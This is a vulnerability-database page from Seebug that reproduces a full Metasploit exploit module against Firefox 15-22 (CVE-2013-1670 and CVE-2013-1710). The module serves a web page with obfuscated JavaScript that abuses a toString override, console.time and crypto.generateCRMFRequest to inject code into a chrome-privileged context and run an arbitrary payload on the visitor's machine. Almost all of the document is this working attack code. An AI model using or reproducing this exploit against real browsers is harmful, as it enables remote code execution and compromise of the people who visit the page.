Firefox toString console.time Privileged Javascript Injection

2014-08-2000:00:00
Root
www.seebug.org
0.946 High
EPSS
Percentile
99.0%
JSON
No description provided by source.

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rex/exploitation/jsobfu'
 
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
  autopwn_info({
    :ua_name    =&gt; HttpClients::FF,
    :ua_minver  =&gt; &quot;15.0&quot;,
    :ua_maxver  =&gt; &quot;22.0&quot;,
    :javascript =&gt; true,
    :rank       =&gt; ExcellentRanking
  })
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Firefox toString console.time Privileged Javascript Injection',
      'Description'    =&gt; %q{
        This exploit gains remote code execution on Firefox 15-22 by abusing two separate
        Javascript-related vulnerabilities to ultimately inject malicious Javascript code
        into a context running with chrome:// privileges.
      },
      'License' =&gt; MSF_LICENSE,
      'Author'  =&gt; [
        'moz_bug_r_a4', # discovered CVE-2013-1710
        'Cody Crews',   # discovered CVE-2013-1670
        'joev' # metasploit module
      ],
      'DisclosureDate' =&gt; &quot;May 14 2013&quot;,
      'References' =&gt; [
        ['CVE', '2013-1670'], # privileged access for content-level constructor
        ['CVE', '2013-1710']  # further chrome injection
      ],
      'Targets' =&gt; [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' =&gt; 'firefox',
            'Arch' =&gt; ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' =&gt; %w{ java linux osx solaris win },
            'Arch'     =&gt; ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' =&gt; 0,
      'BrowserRequirements' =&gt; {
        :source  =&gt; 'script',
        :ua_name =&gt; HttpClients::FF,
        :ua_ver  =&gt; lambda { |ver| ver.to_i.between?(15, 22) }
      }
    ))
 
    register_options([
      OptString.new('CONTENT', [ false, &quot;Content to display inside the HTML &lt;body&gt;.&quot;, &quot;&quot; ])
    ], self.class)
  end
 
  def on_request_exploit(cli, request, target_info)
    send_response_html(cli, generate_html(target_info))
  end
 
  def generate_html(target_info)
    key = Rex::Text.rand_text_alpha(5 + rand(12))
    opts = { key =&gt; run_payload } # defined in FirefoxPrivilegeEscalation mixin
 
    js = Rex::Exploitation::JSObfu.new(%Q|
      var opts = #{JSON.unparse(opts)};
      var key = opts['#{key}'];
      var y = {}, q = false;
      y.constructor.prototype.toString=function() {
        if (q) return;
        q = true;
        crypto.generateCRMFRequest(&quot;CN=Me&quot;, &quot;#{Rex::Text.rand_text_alpha(5 + rand(12))}&quot;, &quot;#{Rex::Text.rand_text_alpha(5 + rand(12))}&quot;, null, key, 1024, null, &quot;rsa-ex&quot;);
        return 5;
      };
      console.time(y);
    |)
 
    js.obfuscate
 
    %Q|
      &lt;!doctype html&gt;
      &lt;html&gt;
        &lt;body&gt;
          &lt;script&gt;
            #{js}
          &lt;/script&gt;
          #{datastore['CONTENT']}
        &lt;/body&gt;
      &lt;/html&gt;
    |
  end
end
0.946 High
EPSS
Percentile
99.0%
JSON
Firefox toString console.time Privileged Javascript Injection

Related
